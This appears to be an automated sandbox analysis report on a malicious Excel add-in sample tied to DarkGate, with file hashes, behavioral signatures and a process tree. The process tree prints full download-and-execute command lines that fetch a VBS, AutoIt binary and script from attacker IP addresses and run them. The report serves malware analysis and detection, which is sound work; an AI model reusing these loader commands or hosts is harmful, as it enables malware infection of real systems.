Analysis
-
max time kernel
139s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
24-09-2023 13:10
Static task
static1
Behavioral task
behavioral1
Sample
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll
Resource
win7-20230831-en
General
-
Target
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll
-
Size
50KB
-
MD5
8866d0e530cb613fde59c5476ea6c331
-
SHA1
e77beeb201303b739a9c4536514e48adc2118900
-
SHA256
98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
-
SHA512
73d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
SSDEEP
1536:9lnq2U5JsS6Nh5wFXscKjrtN/5zqGyiNwmHWR03aY:9c9HQNh5wFXscKXHRzaiNnVqY
Malware Config
Extracted
darkgate
http://94.228.169.143
Signatures
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 36 4940 WScript.exe -
Downloads MZ/PE file
-
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
me.execmd.exeWScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation me.exe Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation WScript.exe -
Executes dropped EXE 4 IoCs
Processes:
me.exebpzs.exebpzs.exeAutoit3.exepid process 1416 me.exe 3740 bpzs.exe 2368 bpzs.exe 444 Autoit3.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3200 EXCEL.EXE 3200 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEAutoit3.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Autoit3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Autoit3.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 3600 timeout.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Modifies registry class 1 IoCs
Processes:
cmd.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000_Classes\Local Settings cmd.exe -
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 36 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3200 EXCEL.EXE -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3200 EXCEL.EXE 3200 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE 3200 EXCEL.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
Processes:
EXCEL.EXEme.execmd.exeWScript.execmd.exedescription pid process target process PID 3200 wrote to memory of 1416 3200 EXCEL.EXE me.exe PID 3200 wrote to memory of 1416 3200 EXCEL.EXE me.exe PID 1416 wrote to memory of 4832 1416 me.exe cmd.exe PID 1416 wrote to memory of 4832 1416 me.exe cmd.exe PID 4832 wrote to memory of 3856 4832 cmd.exe curl.exe PID 4832 wrote to memory of 3856 4832 cmd.exe curl.exe PID 4832 wrote to memory of 3600 4832 cmd.exe timeout.exe PID 4832 wrote to memory of 3600 4832 cmd.exe timeout.exe PID 4832 wrote to memory of 4940 4832 cmd.exe WScript.exe PID 4832 wrote to memory of 4940 4832 cmd.exe WScript.exe PID 4940 wrote to memory of 5052 4940 WScript.exe cmd.exe PID 4940 wrote to memory of 5052 4940 WScript.exe cmd.exe PID 5052 wrote to memory of 3740 5052 cmd.exe bpzs.exe PID 5052 wrote to memory of 3740 5052 cmd.exe bpzs.exe PID 5052 wrote to memory of 2368 5052 cmd.exe bpzs.exe PID 5052 wrote to memory of 2368 5052 cmd.exe bpzs.exe PID 5052 wrote to memory of 444 5052 cmd.exe Autoit3.exe PID 5052 wrote to memory of 444 5052 cmd.exe Autoit3.exe PID 5052 wrote to memory of 444 5052 cmd.exe Autoit3.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3200 -
C:\Users\Public\me.exeC:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/123&&timeout 10&&c:\users\public\1.vbs3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Windows\system32\curl.exeC:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://178.236.247.73/mWMepfb/1234⤵PID:3856
-
C:\Windows\system32\timeout.exetimeout 104⤵
- Delays execution with timeout.exe
PID:3600 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"4⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c mkdir c:\bpzs & cd /d c:\bpzs & copy c:\windows\system32\curl.exe bpzs.exe & bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & bpzs -o tdnyvk.au3 http://94.228.169.143:2351/msibpzszuqi & Autoit3.exe tdnyvk.au35⤵
- Suspicious use of WriteProcessMemory
PID:5052 -
\??\c:\bpzs\bpzs.exebpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:23516⤵
- Executes dropped EXE
PID:3740 -
\??\c:\bpzs\bpzs.exebpzs -o tdnyvk.au3 http://94.228.169.143:2351/msibpzszuqi6⤵
- Executes dropped EXE
PID:2368 -
\??\c:\bpzs\Autoit3.exeAutoit3.exe tdnyvk.au36⤵
- Executes dropped EXE
- Checks processor information in registry
PID:444
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll
Filesize50KB
MD58866d0e530cb613fde59c5476ea6c331
SHA1e77beeb201303b739a9c4536514e48adc2118900
SHA25698c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA51273d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
C:\Users\Admin\AppData\Local\Temp\98c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f_JC.xll
Filesize50KB
MD58866d0e530cb613fde59c5476ea6c331
SHA1e77beeb201303b739a9c4536514e48adc2118900
SHA25698c59262ad396b4da5b0a3e82f819923f860e974f687c4fff9b852f25a56c50f
SHA51273d157aec3d94767b1f5233617d148cb440dca8ba6381c2979f4c5265273294fefad380afa9b401df80fd9661eeae643fd23448c71a66e7ceb2e796a2a4156ea
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
872KB
MD5c56b5f0201a3b3de53e561fe76912bfd
SHA12a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA256237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
SHA512195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
-
Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
-
Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
-
Filesize
8KB
MD59162957093b8e62d9a169adc405bd5c4
SHA100cde0c63bac374afafbe8d4e5aa460ef56f0154
SHA256cb7472abfcb56838a92ad58818f31998d7ae68ef2a2ae1bbc15732d7cc777b38
SHA5122e46f6a3389c8b97ce593b62f005c8830ca119027e996e3fc03e9abbe086df3e15cf618b6b33bb3105498ff130eda7056994e2146b997db1464e6b98a3f307fb
-
Filesize
411KB
MD51c3645ebddbe2da6a32a5f9fb43a3c23
SHA1086f74a35d5afed78ae50cf5586fafffb7845464
SHA2560ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205
SHA512ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b
-
Filesize
908KB
MD50ea7d1a7ad1b24835ca0b2fc6c51c15a
SHA1c470650db0b249737b5cf84854292ba0b7ec68f7
SHA256f9e6958800b576b94c26fd16691ca8e1ca7bda7a0abf0a8657d7cb0eb9a696de
SHA5121f3d5738e84a955a053db7ac2c78e4a08154c0022f7d5e130bdce5c41cef25692d2e15a0fe80e641e4ded1308ede5673d1fb7635f5fc7bebe887a239201d4a7b